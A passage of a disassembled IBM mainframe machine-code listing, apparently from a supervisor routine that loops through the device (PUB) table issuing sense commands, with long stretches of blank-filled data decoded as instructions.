4,X'040'(,R4) 0270: STH 4,X'040'(,R4) 0274: STH 4,X'040'(,R4) 0278: STH 4,X'040'(,R4) 027C: STH 4,X'040'(,R4) 0280: STH 4,X'040'(,R4) 0284: STH 4,X'040'(,R4) 0288: STH 4,X'040'(,R4) 028C: STH 4,X'040'(,R4) 0290: STH 4,X'040'(,R4) 0294: STH 4,X'040'(,R4) 0298: STH 4,X'040'(,R4) 029C: STH 4,X'040'(,R4) 02A0: STH 4,X'040'(,R4) 02A4: STH 4,X'040'(,R4) 02A8: STH 4,X'040'(,R4) 02AC: STH 4,X'040'(,R4) 02B0: STH 4,X'040'(,R4) 02B4: STH 4,X'040'(,R4) 02B8: STH 4,X'040'(,R4) 02BC: STH 4,X'040'(,R4) 02C0: STH 4,X'040'(,R4) 02C4: STH 4,X'040'(,R4) 02C8: STH 4,X'040'(,R4) 02CC: STH 4,X'040'(,R4) 02D0: STH 4,X'040'(,R4) 02D4: STH 4,X'040'(,R4) 02D8: STH 4,X'040'(,R4) 02DC: STH 4,X'040'(,R4) 02E0: STH 4,X'040'(,R4) 02E4: STH 4,X'040'(,R4) 02E8: STH 4,X'040'(,R4) 02EC: STH 4,X'040'(,R4) 02F0: STH 4,X'040'(,R4) 02F4: STH 4,X'040'(,R4) 02F8: STH 4,X'040'(,R4) 02FC: STH 4,X'040'(,R4) 0300: STH 4,X'040'(,R4) 0304: STH 4,X'040'(,R4) 0308: STH 4,X'040'(,R4) 030C: STH 4,X'040'(,R4) 0310: STH 4,X'040'(,R4) 0314: STH 4,X'040'(,R4) 0318: STH 4,X'040'(,R4) 031C: STH 4,X'040'(,R4) 0320: STH 4,X'040'(,R4) 0324: STH 4,X'040'(,R4) 0328: STH 4,X'040'(,R4) 032C: STH 4,X'040'(,R4) 0330: STH 4,X'040'(,R4) 0334: STH 4,X'040'(,R4) 0338: STH 4,X'040'(,R4) 033C: STH 4,X'040'(,R4) 0340: STH 4,X'040'(,R4) 0344: STH 4,X'040'(,R4) 0348: STH 4,X'040'(,R4) 034C: STH 4,X'040'(,R4) 0350: STH 4,X'040'(,R4) 0354: STH 4,X'040'(,R4) 0358: STH 4,X'040'(,R4) 035C: STH 4,X'040'(,R4) 0360: STH 4,X'040'(,R4) 0364: STH 4,X'040'(,R4) 0368: STH 4,X'040'(,R4) 036C: STH 4,X'040'(,R4) 0370: STH 4,X'040'(,R4) 0374: STH 4,X'040'(,R4) 0378: STH 4,X'040'(,R4) 037C: STH 4,X'040'(,R4) 0380: STH 4,X'040'(,R4) 0384: STH 4,X'040'(,R4) 0388: STH 4,X'040'(,R4) 038C: STH 4,X'040'(,R4) 0390: STH 4,X'040'(,R4) 0394: STH 4,X'040'(,R4) 0398: STH 4,X'040'(,R4) 039C: STH 4,X'040'(,R4) 03A0: STH 4,X'040'(,R4) 03A4: STH 4,X'040'(,R4) 03A8: STH 4,X'040'(,R4) 03AC: STH 4,X'040'(,R4) 03B0: STH 4,X'040'(,R4) 03B4: STH 4,X'040'(,R4) 03B8: STH 4,X'040'(,R4) 03BC: STH 4,X'040'(,R4) 03C0: STH 4,X'040'(,R4) 03C4: STH 4,X'040'(,R4) 03C8: STH 4,X'040'(,R4) 03CC: STH 4,X'040'(,R4) 03D0: STH 4,X'040'(,R4) 03D4: STH 4,X'040'(,R4) 03D8: STH 4,X'040'(,R4) 03DC: STH 4,X'040'(,R4) 03E0: STH 4,X'040'(,R4) 03E4: STH 4,X'040'(,R4) 03E8: STH 4,X'040'(,R4) 03EC: STH 4,X'040'(,R4) 03F0: STH 4,X'040'(,R4) 03F4: STH 4,X'040'(,R4) 03F8: STH 4,X'040'(,R4) 03FC: STH 4,X'040'(,R4) 0400: STH 4,X'040'(,R4) 0404: STH 4,X'040'(,R4) 0408: STH 4,X'040'(,R4) 040C: STH 4,X'040'(,R4) 0410: STH 4,X'040'(,R4) 0414: STH 4,X'040'(,R4) 0418: STH 4,X'040'(,R4) 041C: STH 4,X'040'(,R4) 0420: STH 4,X'040'(,R4) 0424: STH 4,X'040'(,R4) 0428: STH 4,X'040'(,R4) 042C: STH 4,X'040'(,R4) 0430: STH 4,X'040'(,R4) 0434: STH 4,X'040'(,R4) 0438: STH 4,X'040'(,R4) 043C: STH 4,X'040'(,R4) 0440: STH 4,X'040'(,R4) 0444: STH 4,X'040'(,R4) 0448: STH 4,X'040'(,R4) 044C: STH 4,X'040'(,R4) 0450: STH 4,X'040'(,R4) 0454: STH 4,X'040'(,R4) 0458: STH 4,X'040'(,R4) 045C: STH 4,X'040'(,R4) 0460: STH 4,X'040'(,R4) 0464: STH 4,X'040'(,R4) 0468: STH 4,X'040'(,R4) 046C: STH 4,X'040'(,R4) 0470: STH 4,X'040'(,R4) 0474: STH 4,X'040'(,R4) 0478: STH 4,X'040'(,R4) 047C: STH 4,X'040'(,R4) 0480: STH 4,X'040'(,R4) 0484: STH 4,X'040'(,R4) 0488: STH 4,X'040'(,R4) 048C: STH 4,X'040'(,R4) 0490: STH 4,X'040'(,R4) 0494: STH 4,X'040'(,R4) 0498: STH 4,X'040'(,R4) 049C: STH 4,X'0F27' 04A0: DC XL2'8500' 04A2: STH 4,X'700'(,R4) 04A6: DC XL2'EBF2' 04A8: LM R9,R10,X'048'(,R11) 04AC: LA 2,X'B86'(,R14) 04B0: MVC X'BB6'(8,R14),X'0038' 04B6: MVC X'0038'(8),X'BBE'(R14) * LOOPING THROUGH PUB TABLE ISSUING SENSE COMMAND TO EACH DEVICE 04BC: STH 10,X'BB2'(,R14) SAVE PUB ADDRESS 04C0: TM IP$ALC(R10),BP$JOB0 PUB ALLOC TO SUPERVISOR? 04C4: BZ X'84CC' NO 04C8: MVI X'B0B'(R14),255 04CC: MVC X'865D'(1,R14),IP$RESV(R10) SAVE IP$RESV 04D2: OI IP$ALC(R10),BP$JOB0 SET ALLOC TO SUPERVISOR 04D6: CLI IP$TYP(R10),0 DEVICE TYPE = 0? 04DA: BE X'85E4' YES 04DE: CLI IP$SUB(R10),0 SUB DEVICE TYPE = 0? 04E2: BE X'854E' YES 04E6: TM IP$TYP(R10),32 CHECK DEVICE TYPE 04EA: BZ X'8514' 04EE: TM X'00D'(R10),18 04F2: BC 8,X'9CA'(,R14) 04F6: LA 0,X'0100' 04FA: LA 1,X'000'(,R10) 04FE: L 2,X'782'(,R12) 0502: LA 3,X'0001' 0506: LA 4,X'55A'(,R14) 050A: BAL 5,X'392'(,R14) 050E: LTR R1,R1 0510: BC 7,X'A8E'(,R14) 0514: LA 1,X'B96'(,R14) POINT TO CCB 0518: SVC 0 ISSUE SENSE COMMAND 051A: TM IC$T(R1),BC$TRAFF CCB PROCESSED?? 051E: BO X'8524' YES 0522: SVC 1 NO, WAIT 0524: TM IC$SF+1(R1),255 CHANNEL STATUS = X'FF' 0528: BO X'85D8' YES 052C: TM IC$SB(R1),255 SENSE BYTE 0 = X'FF' 0530: BO X'85D8' YES 0534: TM IP$TYP(R10),16 CHECK DEVICE TYPE 0538: BNO X'8548' 053C: TM X'015'(R1),96 0540: BC 8,X'A8E'(,R14) 0544: BC 15,X'A9A'(,R14) 0548: TM IP$TYP(R10),32 CHECK DEVICE TYPE 054C: BZ X'85E4' 0550: TM X'00D'(R10),18 0554: BC 7,X'A3E'(,R14) 0558: TM X'00D'(R10),32 055C: BC 14,X'A2A'(,R14) 0560: TM X'018'(R1),63 0564: BC 8,X'A8E'(,R14) 0568: TM X'014'(R1),64 056C: BC 1,X'A92'(,R14) 0570: BC 15,X'A9A'(,R14) 0574: TM X'017'(R1),192 0578: BC 1,X'A9A'(,R14) 057C: TM X'017'(R1),128 0580: BC 1,X'A92'(,R14) 0584: BC 15,X'A8E'(,R14) 0588: TM X'015'(R1),16 058C: BC 14,X'A52'(,R14) 0590: OI X'00F'(R10),4 0594: MVI X'00D'(R10),2 0598: BC 15,X'A9A'(,R14) 059C: OI X'00F'(R10),4 05A0: OI X'BCC'(R14),128 05A4: LA 1,X'BD6'(,R14) 05A8: SVC R0,R0 05AA: TM X'002'(R1),128 05AE: BC 1,X'A6A'(,R14) 05B2: SVC R0,R1 05B4: TM X'002'(R1),127 05B8: BC 7,X'A7A'(,R14) 05BC: MVI X'00D'(R10),16 05C0: BC 15,X'A86'(,R14) 05C4: TM X'016'(R1),128 05C8: BC 8,X'A72'(,R14) 05CC: MVI X'00D'(R10),2 05D0: NI X'00F'(R10),251 05D4: BC 15,X'A9A'(,R14) 05D8: OI IP$CONT2(R10),BP$NOAVL SET DEVICE NOT AVAILABLE 05DC: NI IP$CONT1(R10),127 CLEAR BP$ATTN 05E0: NI X'B13'(R14),127 05E4: CLI IP$TYP(R10),4 CHECK DEVICE TYPE 05E8: BNZ X'8654' 05EC: TM IP$SUB(R10),128 CHECK DEVICE SUB TYPE 05F0: BZ X'8654' 05F4: TM IP$CONT2(R10),BP$NOAVL DEVICE NOT AVAILABLE? 05F8: BO X'8654' YES 05FC: LA 1,X'AE2'(,R14) 0600: SVC R0,R0 0602: TM IC$T(R1),BC$TRAFF CCB BEING PROCESSED? 0606: BO X'860C' YES 060A: SVC R0,R1 060C: TM IC$T(R1),127 ANY OTHER BIT IN IC$T 0610: BNZ X'8648' YES 0614: BC 15,X'B0A'(,R14) 0618: STH 4,X'0000' 061C: BALR R0,R0 061E: BXH R1,X'0000' 0622: DC XL16'000200000000000000000001C0840000' 0632: DC XL8'0000000000020000' 063A: BXH R1,X'0000' 063E: BXH R15,X'0000' 0642: DC XL4'00000000' 0646: ISK R1,R0 0648: CLI IC$SB(R1),128 CHECK SENSE BYTE (CMD REJECT?) 064C: BNZ X'8654' 0650: MVI IP$SUB(R10),16 SET SOME BIT IN IP$SUB 0654: NI IP$ALC(R10),254 CLEAR AP$ALC 0658: MVI X'B0B'(R14),254 CHANGE IMMED BYE OF PREV INST. 065C: OI IP$CONT1(R10),0 0660: LA 10,X'0020'(R10) BUMP TO NEXT PUB 0664: BCT 9,X'84BC' & LOOP 0668: BC 15,X'B54'(,R14) 066C: CLI X'0033',239 0670: BC 8,X'B2E'(,R14) 0674: LPSW X'BB6'(R14),0 0678: L 5,X'0034' 067C: SRL R5,X'001E' 0680: SLL R5,X'0001' 0684: L 3,X'0034' 0688: LA 3,X'0000'(R3) 068C: SR R3,R5 068E: CLI X'000'(R3),156 0692: BC 7,X'B2A'(,R14) 0696: OI X'0034',48 069A: LPSW X'0030',0 069E: MVC X'0038'(8),X'BB6'(R14) 06A4: BC 15,X'BF2'(,R14) 06A8: DC XL16'00000000000000000000000000000000' 06B8: DC XL16'00000000000000000000000000000000' 06C8: DC XL8'0000000000000000' 06D0: SPM R0,R0 06D2: BXH R15,X'000'(,R2) 06D6: DC XL10'00060000000000000000' 06E0: SPM R0,R1 06E2: DC XL12'C08400000000000000060000' 06EE: BXH R13,X'0000' 06F2: BXH R15,X'0000' 06F6: DC XL6'0000000000FF' 06FC: ISK R10,R8 06FE: BCR R0,R0 0700: DC XL6'000000000000' 0706: CR R2,R8 0708: DC XL6'000400000000' 070E: BXH R6,X'0200' 0712: DC XL16'00000000000000000000020000000000' 0722: SSM X'0000',132 0726: DC XL8'0000000000000000' 072E: BXLE R1,X'0000' 0732: BXH R15,X'0000' 0736: DC XL6'000000000000' 073C: LH 1,X'02E'(,R11) 0740: MVC X'004'(1,R1),X'06D'(R11) 0746: XI X'004'(R1),254 074A: OI X'01C'(R1),128 074E: OI X'006'(R1),128 0752: LH 1,X'028'(,R11) 0756: MVC X'004'(1,R1),X'06D'(R11) 075C: XI X'004'(R1),254 0760: OI X'01C'(R1),128 0764: OI X'006'(R1),128 0768: LH 2,X'02A'(,R11) 076C: LTR R2,R2 076E: BC 8,X'C46'(,R14) 0772: TM X'01C'(R2),64 0776: BC 14,X'CDA'(,R14) 077A: LH 1,X'002'(,R2) 077E: SLL R1,X'0004' 0782: STH 1,X'CCC'(,R14) 0786: UNPK X'CD5'(3,R14),X'CCC'(2,R14) 078C: OI X'CD7'(R14),240 0790: SR R5,R5 0792: LM R3,R4,X'048'(,R11) 0796: TM X'01C'(R4),64 079A: BC 1,X'C7C'(,R14) 079E: CLI X'00D'(R4),0 07A2: BC 8,X'C7C'(,R14) 07A6: CLI X'00C'(R4),8 07AA: BC 8,X'C8A'(,R14) 07AE: CLI X'00C'(R4),2 07B2: BC 7,X'C7C'(,R14) 07B6: TM X'00F'(R4),4 07BA: BC 14,X'C7C'(,R14) 07BE: LTR R5,R5 07C0: BC 7,X'C7C'(,R14) 07C4: LR R5,R4 07C6: LA 4,X'0020'(R4) 07CA: BCT 3,X'C4C'(,R14) 07CE: LTR R4,R5 07D0: BC 8,X'CDA'(,R14) 07D4: STH 4,X'02A'(,R11) 07D8: LH 1,X'002'(,R4) 07DC: SLL R1,X'0004' 07E0: STH 1,X'CCC'(,R14) 07E4: UNPK X'CD2'(3,R14),X'CCC'(2,R14) 07EA: OI X'CD4'(R14),240 07EE: LA 1,X'CCE'(,R14) 07F2: BCR R0,R0 07F4: BC 15,X'CB4'(,R14) 07F8: MER R0,R0 07FA: DC XL4'00010100' 07FE: SVC R0,R5 0800: LTR R0,R0 0802: BC 4,X'CC0'(,R14) 0806: BC 15,X'CDA'(,R14) 080A: STC 0,X'CC7'(,R14) 080E: HPR X'0100',1 0812: BC 15,X'CC4'(,R14) 0816: DC XL2'0000' 0818: S 0,X'0461'(R5) 081C: DC XL4'00000040' 0820: STH 4,X'0800' 0824: LH 2,X'E98'(,R14) 0828: LA 3,X'0001' 082C: LA 4,X'55A'(,R14) 0830: BAL 6,X'2D6'(,R14) 0834: CLI X'0FC'(R4),42 0838: BC 8,X'CFA'(,R14) 083C: HPR X'0402',4 0840: BC 15,X'CF2'(,R14) 0844: MVC X'095'(3,R13),X'0FD'(R4) 084A: MVC X'E8E'(8,R14),X'E86'(R14) 0850: LA 1,X'E8E'(,R14) 0854: L 0,X'D1E'(,R14) 0858: LA 1,X'0000'(R1) 085C: O 1,X'D1A'(,R14) 0860: BC 15,X'D22'(,R14) 0864: DC XL8'000000000089E963' 086C: SVC R4,R3 086E: LTR R0,R0 0870: BC 4,X'E3C'(,R14) 0874: ST 0,X'E8E'(,R14) 0878: MVC X'0FD'(3,R4),X'E8F'(R14) 087E: LH 2,X'E98'(,R14) 0882: LA 3,X'0001' 0886: LA 4,X'55A'(,R14) 088A: BAL 6,X'2DE'(,R14) 088E: BAL 6,X'DE6'(,R14) 0892: BAL 6,X'2D6'(,R14) 0896: CLC X'000'(2,R4),X'E96'(R14) 089C: BC 8,X'D5E'(,R14) 08A0: HPR X'0401',4 08A4: BC 15,X'D56'(,R14) 08A8: LA 4,X'0006'(R4) 08AC: LH 5,X'0000'(R4) 08B0: LTR R5,R5 08B2: BC 8,X'EB6'(,R14) 08B6: BC 2,X'DC6'(,R14) 08BA: MVC X'095'(3,R13),X'013'(R4) 08C0: MVC X'E8E'(6,R14),X'002'(R4) 08C6: MVC X'E94'(2,R14),X'EB2'(R14) 08CC: LA 1,X'E8E'(,R14) 08D0: L 0,X'D9A'(,R14) 08D4: LA 1,X'0000'(R1) 08D8: O 1,X'D96'(,R14) 08DC: BC 15,X'D9E'(,R14) 08E0: DC XL8'000000000089E963' 08E8: SVC R4,R3 08EA: LTR R0,R0 08EC: BC 4,X'DF4'(,R14) 08F0: ST 0,X'E8E'(,R14) 08F4: CLC X'013'(3,R4),X'E8F'(R14) 08FA: BC 8,X'DBE'(,R14) 08FE: OI X'EA0'(R14),1 0902: MVC X'013'(3,R4),X'E8F'(R14) 0908: LA 4,X'0016'(R4) 090C: BC 15,X'D62'(,R14) 0910: TM X'EA0'(R14),1 0914: BC 14,X'EBE'(,R14) 0918: MVC X'E8E'(2,R14),X'002'(R4) 091E: BAL 6,X'DE6'(,R14) 0922: BAL 6,X'2DE'(,R14) 0926: MVC X'E96'(2,R14),X'E8E'(R14) 092C: BC 15,X'CDA'(,R14) 0930: LH 2,X'E96'(,R14) 0934: LA 3,X'0001' 0938: LA 4,X'55A'(,R14) 093C: BCR R15,R6 093E: STC 0,X'E9A'(,R14) 0942: CLI X'E9A'(R14),81 0946: BC 8,X'DBE'(,R14) 094A: MVC X'EAA'(2,R14),X'000'(R4) 0950: UNPK X'E9C'(3,R14),X'E9A'(2,R14) 0956: CLI X'E9D'(R14),250 095A: BC 4,X'E18'(,R14) 095E: AI X'E9C'(R14),199 0962: MVC X'EA8'(2,R14),X'E9C'(R14) 0968: MVC X'EAC'(6,R14),X'002'(R4) 096E: BCR R0,R0 0970: BC 15,X'E30'(,R14) 0974: LNR R0,R0 0976: SLL R14,X'0000' 097A: SVC R0,R5 097C: LTR R0,R0 097E: BC 4,X'E74'(,R14) 0982: BC 15,X'DBE'(,R14) 0986: STC 0,X'E9A'(,R14) 098A: UNPK X'E9C'(3,R14),X'E9A'(2,R14) 0990: CLI X'E9D'(R14),250 0994: BC 4,X'E52'(,R14) 0998: AI X'E9C'(R14),199 099C: MVC X'EA8'(2,R14),X'E9C'(R14) 09A2: MVC X'EAC'(6,R14),X'E86'(R14) 09A8: BC 15,X'E68'(,R14) 09AC: LNR R0,R0 09AE: SLL R14,X'0000' 09B2: SVC R0,R5 09B4: LTR R0,R0 09B6: BC 4,X'E74'(,R14) 09BA: BC 15,X'D44'(,R14) 09BE: STC 0,X'E7B'(,R14) 09C2: HPR X'0100',1 09C6: BC 15,X'E78'(,R14) 09CA: DC XL6'000000000001' 09D0: MVN X'BE2'(212,R5),X'3C8'(R12) 09D6: DC XL16'F0F0F0F0F0F0F0F0F0F0023D01AF000C' 09E6: DC XL8'0000004000F2C100' 09EE: S 0,X'061'(R7,R10) 09F2: STH 4,X'040'(,R4) 09F6: STH 4,X'040'(,R4) 09FA: STH 4,X'0F0'(,R15) 09FE: SSK R0,R0 0A00: BAL 6,X'DE6'(,R14) 0A04: BAL 6,X'2DE'(,R14) 0A08: MVC X'095'(3,R13),X'E83'(R14) 0A0E: LM R9,R10,X'048'(,R11) 0A12: CLI X'00C'(R10),4 0A16: BC 7,X'03C'(,R15) 0A1A: CLI X'00D'(R10),0 0A1E: BC 8,X'038'(,R15) 0A22: LH 8,X'012'(,R10) 0A26: MVC X'134'(8,R15),X'000'(R8) 0A2C: MVC X'13E'(8,R15),X'008'(R8) 0A32: XC X'000'(16,R8),X'000'(R8) 0A38: SR R6,R6 0A3A: ST 6,X'12E'(,R15) 0A3E: LA 6,X'156'(,R15) 0A42: LA 7,X'0025' 0A46: CLC X'00D'(1,R10),X'00A'(R6) 0A4C: BC 7,X'F32'(,R14) 0A50: CLC X'133'(9,R15),X'001'(R6) 0A56: BC 7,X'F1C'(,R14) 0A5A: MVC X'12E'(2,R15),X'00B'(R6) 0A60: MVC X'132'(1,R15),X'000'(R6) 0A66: CLC X'13D'(9,R15),X'001'(R6) 0A6C: BC 7,X'F32'(,R14) 0A70: MVC X'130'(2,R15),X'00B'(R6) 0A76: MVC X'13C'(1,R15),X'000'(R6) 0A7C: CLI X'12E'(R15),0 0A80: BC 8,X'F42'(,R14) 0A84: CLI X'130'(R15),0 0A88: BC 7,X'F4A'(,R14) 0A8C: LA 6,X'000D'(R6) 0A90: BCT 7,X'EFC'(,R14) 0A94: TM X'00D'(R10),8 0A98: BC 1,X'FB2'(,R14) 0A9C: MVC X'0F6'(3,R15),X'150'(R15) 0AA2: MVC X'146'(10,R15),X'132'(R15) 0AA8: LH 2,X'12E'(,R15) 0AAC: LTR R2,R2 0AAE: BC 7,X'F70'(,R14) 0AB2: BAL 6,X'048'(,R15) 0AB6: BC 15,X'FB2'(,R14) 0ABA: LA 3,X'0002' 0ABE: LA 4,X'55A'(,R14) 0AC2: BAL 6,X'2D6'(,R14) 0AC6: NI X'55A'(R14),15 0ACA: CLC X'55A'(2,R14),X'12E'(R15) 0AD0: BC 8,X'F92'(,R14) 0AD4: BAL 6,X'054'(,R15) 0AD8: BC 15,X'FB2'(,R14) 0ADC: CLI X'562'(R14),0 0AE0: BC 7,X'FA8'(,R14) 0AE4: BAL 6,X'068'(,R15) 0AE8: MVC X'134'(8,R15),X'120'(R15) 0AEE: BC 15,X'EEE'(,R14) 0AF2: ST 2,X'008'(,R8) 0AF6: MVC X'010'(2,R8),X'028'(R11) 0AFC: MVC X'0F6'(3,R15),X'153'(R15) 0B02: MVC X'146'(10,R15),X'13C'(R15) 0B08: LH 2,X'130'(,R15) 0B0C: LTR R2,R2 0B0E: BC 7,X'FD0'(,R14) 0B12: BAL 6,X'048'(,R15) 0B16: BC 15,X'01A'(,R15) 0B1A: LA 3,X'0001' 0B1E: LA 4,X'55A'(,R14) 0B22: BAL 6,X'2D6'(,R14) 0B26: NI X'55A'(R14),15 0B2A: CLC X'55A'(2,R14),X'130'(R15) 0B30: BC 8,X'FF2'(,R14) 0B34: BAL 6,X'054'(,R15) 0B38: BC 15,X'01A'(,R15) 0B3C: CLI X'562'(R14),0 0B40: BC 7,X'010'(,R15) 0B44: TM X'01C'(R10),64 0B48: BC 1,X'010'(,R15) 0B4C: BAL 6,X'068'(,R15) 0B50: MVC X'13E'(8,R15),X'120'(R15) 0B56: BC 15,X'EEE'(,R14) 0B5A: ST 2,X'00C'(,R8) 0B5E: MVC X'012'(2,R8),X'028'(R11) 0B64: TM X'01C'(R10),64 0B68: BC 1,X'038'(,R15) 0B6C: MVI X'004'(R10),1 0B70: LR R1,R10 0B72: SVC R2,R0 0B74: LTR R0,R0 0B76: BC 4,X'034'(,R15) 0B7A: BC 15,X'038'(,R15) 0B7E: BAL 6,X'060'(,R15) 0B82: MVI X'004'(R10),0 0B86: LA 10,X'0020'(R10) 0B8A: BCT 9,X'EC8'(,R14) 0B8E: BC 15,X'338'(,R15) 0B92: LA 4,X'04C1' 0B96: LA 1,X'0F2'(,R15) 0B9A: BC 15,X'096'(,R15) 0B9E: LA 4,X'04C2' 0BA2: LA 1,X'0F2'(,R15) 0BA6: BC 15,X'096'(,R15) 0BAA: LA 1,X'106'(,R15) 0BAE: BC 15,X'096'(,R15) 0BB2: LA 1,X'10E'(,R15) 0BB6: MVC X'112'(3,R15),X'0F6'(R15) 0BBC: LA 3,X'448'(,R13) 0BC0: CLC X'146'(2,R15),X'000'(R3) 0BC6: BC 8,X'088'(,R15) 0BCA: LA 3,X'000A'(R3) 0BCE: BC 15,X'076'(,R15) 0BD2: MVC X'120'(8,R15),X'002'(R3) 0BD8: TM X'01C'(R10),64 0BDC: BC 1,X'0E4'(,R15) 0BE0: BC 0,X'096'(,R15) 0BE4: LH 3,X'002'(,R10) 0BE8: SLL R3,X'0004' 0BEC: STH 3,X'12A'(,R15) 0BF0: UNPK X'0F9'(3,R15),X'12A'(2,R15) 0BF6: OI X'0FB'(R15),240 0BFA: MVC X'10A'(3,R15),X'0F9'(R15) 0C00: MVC X'115'(3,R15),X'0F9'(R15) 0C06: MVC X'0FC'(8,R15),X'148'(R15) 0C0C: MVC X'118'(8,R15),X'0FC'(R15) 0C12: STH 4,X'12A'(,R15) 0C16: MVC X'0F3'(2,R15),X'12A'(R15) 0C1C: BC 15,X'0DC'(,R15) 0C20: MER R0,R0 0C22: DC XL4'00010100' 0C26: SVC R0,R5 0C28: LTR R0,R0 0C2A: BC 4,X'0E6'(,R15) 0C2E: BCR R15,R6 0C30: STC 0,X'0ED'(,R15) 0C34: HPR X'0100',1 0C38: BC 15,X'0EA'(,R15) 0C3C: S 0,X'0061' 0C40: STH 4,X'040'(,R4) 0C44: STH 4,X'040'(,R4) 0C48: STH 4,X'040'(,R4) 0C4C: STH 4,X'0800' 0C50: S 0,X'361'(R4,R12) 0C54: STH 4,X'008'(,R4) 0C58: S 0,X'0C61'(R5) 0C5C: STH 4,X'040'(,R4) 0C60: STH 4,X'040'(,R4) 0C64: STH 4,X'040'(,R4) 0C68: STH 4,X'040'(,R4) 0C6C: STH 4,X'040'(,R4) 0C70: STH 4,X'0800' 0C74: DC XL10'0000000000000000E7D3' 0C7E: STH 4,X'040'(,R4) 0C82: STH 4,X'040'(,R4) 0C86: DC XL2'E7E5' 0C88: STH 4,X'040'(,R4) 0C8C: STH 4,X'040'(,R4) 0C90: STH 4,X'040'(,R4) 0C94: STH 4,X'040'(,R4) 0C98: STH 4,X'3C3'(,R13) 0C9C: DC XL4'C2E5C6C2' 0CA0: UNPK X'4F8'(14,R15),X'0C2'(4,R6) 0CA6: DC XL2'E4E2' 0CA8: STH 4,X'003'(,R4) 0CAC: AL 15,X'3F4'(R3,R13) 0CB0: ZAP X'2C3'(7,R14),X'940'(1,R12) 0CB6: STH 4,X'0364' 0CBA: UNPK X'6F3'(14,R15),X'0E2'(4,R6) 0CC0: DC XL2'E3C4' 0CC2: STH 4,X'003'(,R4) 0CC6: DC XL2'66F3' 0CC8: MVZ X'6D5'(215,R14),X'3C3'(R13) 0CCE: MVO X'040'(5,R4),X'036C'(1) 0CD4: UNPK X'6E6'(14,R13),X'5D3'(4,R13) 0CDA: DC XL2'C3F2' 0CDC: STH 4,X'003'(,R4) 0CE0: AW 15,X'3F4'(,R13) 0CE4: ZAP X'2E4'(7,R12),X'240'(1,R14) 0CEA: STH 8,X'0360' 0CEE: DC XL4'F0D3F4F8' 0CF2: STD 14,X'3C9'(R2,R12) 0CF6: STH 4,X'003'(,R8) 0CFA: LD 15,X'3D6'(,R13) 0CFE: DC XL2'E6D5' 0D00: MVZ X'140'(196,R15),X'080'(R4) 0D06: STR R7,R0 0D08: DC XL2'F0D3' 0D0A: OC X'5D3'(231,R13),X'3F2'(R12) 0D10: STH 4,X'003'(,R8) 0D14: LE 15,X'3F6'(R8,R13) 0D18: UNPK X'2E3'(7,R14),X'440'(1,R12) 0D1E: STH 2,X'0362' 0D22: ZAP X'6E6'(14,R13),X'5D3'(4,R13) 0D28: DC XL2'C3F1' 0D2A: STH 4,X'003'(,R2) 0D2E: AE 15,X'3D6'(R8,R13) 0D32: DC XL2'E6D5' 0D34: MVZ X'240'(196,R15),X'020'(R4) 0D3A: STR R7,R12 0D3C: DC XL4'F6D3F4F8' 0D40: STD 12,X'4E2'(R2,R14) 0D44: STH 4,X'004'(,R1) 0D48: M 15,X'3F4'(R6,R13) 0D4C: ZAP X'2C3'(7,R14),X'940'(1,R12) 0D52: STH 1,X'045E' 0D56: DC XL4'F6D3F6F3' 0D5A: STD 14,X'3C4'(R2,R14) 0D5E: STH 4,X'004'(,R1) 0D62: DC XL2'84F6' 0D64: MVZ X'6D5'(215,R14),X'3C3'(R13) 0D6A: MVO X'010'(5,R4),X'0460'(1) 0D70: DC XL2'F6D3' 0D72: OC X'5D3'(231,R13),X'3F2'(R12) 0D78: STH 4,X'004'(,R1) 0D7C: DC XL6'62F3E5E2E3C1' 0D82: CLC X'140'(197,R15),X'040'(R4) 0D88: STR R7,R2 0D8A: UNPK X'6E6'(15,R13),X'5E5'(6,R13) 0D90: DC XL2'C6F1' 0D92: STH 4,X'003'(,R4) 0D96: DC XL6'75F0E5E2E3C1' 0D9C: CLC X'140'(197,R15),X'080'(R4) 0DA2: STR R7,R3 0DA4: DC XL2'F0E5' 0DA6: OC X'5E5'(231,R13),X'6F1'(R12) 0DAC: STH 4,X'003'(,R8) 0DB0: DC XL6'76F8E5E2E3C1' 0DB6: CLC X'140'(197,R15),X'020'(R4) 0DBC: STR R7,R4 0DBE: ZAP X'6E6'(15,R13),X'5E5'(6,R13) 0DC4: DC XL2'C6F1' 0DC6: STH 4,X'003'(,R2) 0DCA: DC XL6'77F6E5E2E3C1' 0DD0: CLC X'140'(197,R15),X'010'(R4) 0DD6: STR R4,R7 0DD8: DC XL2'F6E5' 0DDA: OC X'5E5'(231,R13),X'6F1'(R12) 0DE0: STH 4,X'004'(,R1) 0DE4: DC XL6'64F9E5E2E3C1' 0DEA: CLC X'140'(197,R15),X'008'(R4) 0DF0: STR R5,R12 0DF2: CP X'6E6'(15,R13),X'5E5'(6,R13) 0DF8: DC XL2'C6F1' 0DFA: STH 4,X'0803' 0DFE: D 0,X'0000' 0E02: DC XL16'00000000000000000000000000000000' 0E12: DC XL16'00000000000000000000000000000000' 0E22: DC XL16'00000000000000000000000000000000' 0E32: DC XL16'00000000000000000000000000000000' 0E42: DC XL16'00000000000000000000000000000000' 0E52: DC XL16'00000000000000000000000000000000' 0E62: DC XL16'00000000000000000000000000000000' 0E72: DC XL16'00000000000000000000000000000000' 0E82: XC X'55A'(256,R14),X'55A'(R14) 0E88: XC X'65A'(256,R14),X'65A'(R14) 0E8E: XC X'75A'(256,R14),X'75A'(R14) 0E94: XC X'85A'(256,R14),X'85A'(R14) 0E9A: LA 2,X'000B' 0E9E: LA 3,X'0004' 0EA2: LA 4,X'55A'(,R14) 0EA6: BC 0,X'35C'(,R15) 0EAA: BAL 6,X'2DE'(,R14) 0EAE: LA 2,X'95A'(,R14) 0EB2: S 2,X'018'(,R13) 0EB6: ST 2,X'010'(,R13) 0EBA: BCR R0,R0 0EBC: L 0,X'382'(,R15) 0EC0: BAL 1,X'386'(,R15) 0EC4: DC XL2'E2D3' 0EC6: S 13,X'4E3'(R3,R14) 0ECA: DC XL6'F0F00080A427' 0ED0: SVC R1,R8 0ED2: LTR R0,R0 0ED4: BC 4,X'3CE'(,R15) 0ED8: LA 3,X'1C8'(,R13) 0EDC: SR R2,R2 0EDE: IC 2,X'0000'(R3) 0EE2: LTR R2,R2 0EE4: BC 8,X'3B6'(,R15) 0EE8: BCTR R2,R0 0EEA: SLL R2,X'0002' 0EEE: LA 2,X'55A'(R2,R14) 0EF2: MVC X'000'(4,R2),X'001'(R3) 0EF8: LA 3,X'0005'(R3) 0EFC: BC 15,X'392'(,R15) 0F00: LA 2,X'0028' 0F04: LA 3,X'0004' 0F08: LA 4,X'55A'(,R14) 0F0C: BC 0,X'3C2'(,R15) 0F10: BAL 6,X'2DE'(,R14) 0F14: BC 